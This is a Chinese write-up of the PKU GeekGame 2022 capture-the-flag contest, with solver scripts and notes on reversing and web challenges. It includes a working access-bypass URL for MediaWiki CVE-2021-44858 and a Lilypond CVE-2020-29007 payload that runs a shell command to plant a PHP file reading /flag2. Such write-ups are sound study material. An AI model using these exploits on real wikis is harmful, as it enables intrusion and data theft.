PKU GeekGame 2022 题解

WriteUp 1年前 (2022) admin
647 0 0

只做到周三,然后因为上班咕咕了,后面的很多题有了想法也没做,随便记一下。

听说跟去年一样。

经典 Windows 符号字体,copy 出来错位两行,随便搞下就行。

1
2
s = """原文"""
print(''.join(map(lambda x: x[0] + x[1], zip(*s.split('\n')))))

问答部分,题目有 8 个,质数那个题应该需要猜一下,撞大运,所以没写。

  1. PKU Runner:直接 zip 或者 http://www.javadecompilers.com/apk decompile 看下 manifest 就行了。
  2. gStore:搜一下论文就能看到。
  3. ctf.世界一流大学.com:要么直接转一下(IDNA Encoding),要么直接 F12 访问一下就能看到 Host
  4. WebP:https://caniuse.com/webp
  5. BV 号:都是基于 mcfx 的 writeup,抄一份或者随便找个工具
  6. 电子游戏概论:看下去年题目的 server 源码就能找到。
  7. mac 地址:路由器因为各种原因会广播自己的 BSSID,去 https://www.wigle.net/ 搜一下,然后去地图上比划一下就有了。

然后就是经典大胖题,第一部分的输出是第二部分的输入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
import re

HOST = "prob01.geekgame.pku.edu.cn"
PORT = 10001
TOKEN = rb""


def solve(line):
    if 'PKU Runner' in line:
        return b'cn.edu.pku.pkurunner'
    if 'gStore' in line:
        return b'10.14778/2002974.2002976'
    if 'ctf' in line:
        return b'ctf.xn--4gqwbu44czhc7w9a66k.com'
    if 'WebP' in line:
        return b'65'
    if 'BV1EV411s7vu' in line:
        return b'418645518'
    if 'd2:94:35:21:42:43' in line:
        return b'80304'
    mg = re.match(
        r"第 [0-9] 题:在第一届 PKU GeekGame 比赛的题目《电子游戏概论》中,通过第 ([0-9]+) 级关卡需要多少金钱?",
        line)
    if mg:
        level = int(mg.group(1))
        return str(300 + int(level**1.5) * 100).encode('utf8')

    return ''


if __name__ == "__main__":
    r = connect(HOST, PORT)

    r.sendlineafter(b"Please input your token: ", TOKEN, 1)
    r.sendlineafter(b"> ", "急急急".encode('utf8'))

    print('[+] Got connection.')

    for idx in range(7):
        prob = r.recvline_startswith(
            '第'.encode('utf8')).decode('utf8').strip('\n')
        ans = solve(prob)
        if len(ans) == 0:
            print('[!] Invalid problem.')
            print(f'[!] Problem: {prob}')
            exit(0)

        r.sendlineafter(b"> ", ans)
        line = r.recvline()
        if line.decode('utf8').strip('\n') != "鉴定为:答案正确。":
            print('[!] Fatal!')
            print(f'[!] Problem: {prob}')
            print(f'[!] Answer: {ans.decode("utf8")}')
            print(f'[!] Predict: {line.decode("utf8")}')
            exit(0)

        print(f'[+] Problem {idx+1}: success.')

    print(f'[+] All done!')
    print(f'[+] Remain: {r.recvall().decode("utf8")}')

搞个栈上数组就行了,记得确保初始化,不然可能会有优化 trick。

一开始我搞了个 main[-1u]{1},结果太大了被拒绝编译了。

1
2
3
long long array[2000000]{1};
int main() { return 0; }
//EOF

经典 Codegolf

1
2
3
#include __FILE__
#include __FILE__
//EOF

找个 Bug 或者 CVE 就可以了。我找到的是这个

1
2
3
void operator""_x(const char *, unsigned long);
static_assert(false, "foo"_x);
//EOF

Flag 被 Rot13 过,reverse 回去然后 base64 解一下就行。

审计代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// codes...

ScriptEngineManager var2 = new ScriptEngineManager();
ScriptEngine var3 = var2.getEngineByName("nashorn");

try {
    String var4 = "";
    StringBuilder var8 = new StringBuilder();

    for(int var9 = 0; var9 < var4.length(); ++var9) {
        var8.append((char)(var4.charAt(var9) ^ 239));
    }

    var3.eval(var8.toString());
}

// codes...
else {
    Object var6 = this.invocable.invokeFunction(var1.getSource() == this.button2 ? "checkflag2" : "checkflag3", new Object[]{this.textField1.getText()});
}

// codes...

搜索得知 nashorn 是个 js 脚本引擎,逻辑把输入喂进 var4 处理之后的脚本,然后调用 checkflag2

处理完的 js 被混淆过,拖进 de4js 自动解不了,手修了一下。

1
2
3
function checkflag2(input) {
    return (JSON.stringify(input.split('').map(function (x) { return x.charCodeAt(0) })) == JSON.stringify([0, 15, 16, 17, 30, 105, 16, 31, 16, 67, 3, 33, 5, 60, 4, 106, 6, 41, 0, 1, 67, 3, 16, 4, 6, 33, 232].map(function (x) { return (checkflag2 + '').charAt(x) })) ? 'Correct' : 'Wrong')
}

最后把原始函数对应位置的字符抽出来 join 一下就是 flag。

进去随便玩一下,发现几个空白单元格的文字会一闪而过,所以猜测是 client 侧的权限验证。

用 Burpsuite 或者 Chrome Devtools 直接跟一下请求,搜索 机密,发现核心 api 是 /dop-api/opendoc/dop-api/get/sheet。分析下包结构就能拼出来链接了。

第二部分跟第一部分原理一样,从搜出来的请求里面正确找到构成 flag 图形的请求,想办法可视化一下就行,我的搞法是导出到了一个 CSV。

先看版本,1.34.4 发布在 2020,意味着可能会有很多漏洞可以抓。随便搜了下发现 CVE-2021-44858,直接越权访问文档,查看首页版本 2 就行。

1
https://prob07-<env>.geekgame.pku.edu.cn/index.php?title=%E9%A6%96%E9%A1%B5&action=mcrundo&undo=1&undoafter=2

登录进去先随便玩下,没啥东西。重新看版本,发现有个很刻意的扩展 Lilypond,直接搜一下就找到 CVE-2020-29007 和对应的讨论地址。读一下,然后 fuzz 一下就行。我的搞法是新建一个 test.php,直接 include flag2 文件,然后访问一下就有了。

1
2
3
4
5
<score>\new Staff <<{c^#

(object->string (system "echo \"<?php echo file_get_contents('/flag2') ?>\" > /var/www/html/test.php"))

}>></score>

一开始看了十分钟后端,发现咋没前端代码,然后想起来应该 F12 的。

审计一下前端:

1
2
3
if (localStorage.getItem('i_am_premium_user') === 'true') {
  import('./main-premium.js')
}

localStorage 随便改的,改了刷新一下就能看到 Flag。

搜了下为什么这个数很特殊,发现是一个 Polydivisiable Number,然后审计了一下代码,找一个 16 进制的 Polydivisiable Number。

先尝试按大端序拆一下需要异或这个数,发现最终的 byte 长度应该是 24,然后前面四个 byte 已经是 flag 了,那应该是后面 20 位,由于 xor 的关系,按 byte 分块之后各块没有关联,直接逐个块搜索一下就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from string import printable

B = 2511413510786744827187994827731403682185299073590935188882


def hl(num: int) -> int:
    return len(hex(num)) - 2


def gl(num: int) -> int:
    return (B >> ((hl(B) - hl(num)) * 4)) ^ num


def verify(num: int) -> bool:
    l = hl(num)
    for i in range(1, l + 1):
        if (num >> ((l - i) * 4)) % i > 0:
            return False

    return True


def dfs(cur):
    if hl(cur) == 48:
        if cur % 256 == ord('}'):
            return cur
    for i in printable[:-6]:
        nxt = (cur << 8) + ord(i)
        if verify(gl(nxt)):
            if (ret := dfs(nxt)) > 0:
                return ret

    return -1


if __name__ == "__main__":
    num = 0x666c61677b # flag{
    print(dfs(num).to_bytes(24, 'big'))

 

原文始发于Ramen’s Box:PKU GeekGame 2022 题解

版权声明:admin 发表于 2022年11月28日 上午10:22。
转载请注明:PKU GeekGame 2022 题解 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...